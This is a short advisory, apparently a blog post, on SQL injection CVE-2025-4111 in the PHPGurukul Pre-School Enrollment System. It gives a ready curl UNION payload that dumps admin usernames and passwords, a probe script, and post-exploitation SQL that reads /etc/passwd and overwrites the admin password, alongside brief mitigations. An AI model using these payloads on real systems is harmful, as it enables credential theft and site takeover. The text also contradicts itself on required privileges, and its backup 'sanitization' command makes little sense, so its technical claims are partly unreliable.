PHPGurukul Pre-School Enrollment System 10, SQL Injection, CVE-2025-4111 (Critical)

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How CVE-2025-4111 Works

This vulnerability exploits improper input sanitization in the `Status` parameter of /admin/visitor-details.php. Attackers inject malicious SQL queries through crafted HTTP requests, bypassing authentication to manipulate database content. The system fails to validate user-supplied data, allowing UNION-based or blind SQLi techniques. Remote exploitation is possible without privileges due to flawed session handling. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network accessibility and low attack complexity. Public exploits leverage error-based extraction to dump admin credentials or pivot to RCE via file writes.

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Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025

What Undercode Say:

Exploitation Commands:

curl -X POST "http://target.com/admin/visitor-details.php" -d "Status=' UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(username,password),11 FROM admin-- -"

Detection Script:

import requests
params = {"Status": "' OR 1=1--"}
r = requests.post("http://target.com/admin/visitor-details.php", data=params)
if "error in your SQL" in r.text:
print("[+] Vulnerable to CVE-2025-4111")

Mitigation Steps:

1. Patch with parameterized queries:

$stmt = $conn->prepare("UPDATE visitors SET status=? WHERE id=?");
$stmt->bind_param("si", $_POST['Status'], $id);

2. WAF rules to block SQLi patterns:

location /admin {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"';
}

Analytics:

  • Exploitability: High (PoC available)
  • Attack Surface: Remote via web interface
  • Impact: Data theft, admin compromise
  • Patch Status: Unpatched as of 2025-05-13

Post-Exploitation:

SELECT LOAD_FILE('/etc/passwd'); -- File read
UPDATE admin SET password=MD5('hacked') WHERE id=1; -- Credential overwrite

Log Analysis:

grep "visitor-details.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"

Backup Sanitization:

mysqldump --skip-comments | grep -v "INSERT INTO `admin`"

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
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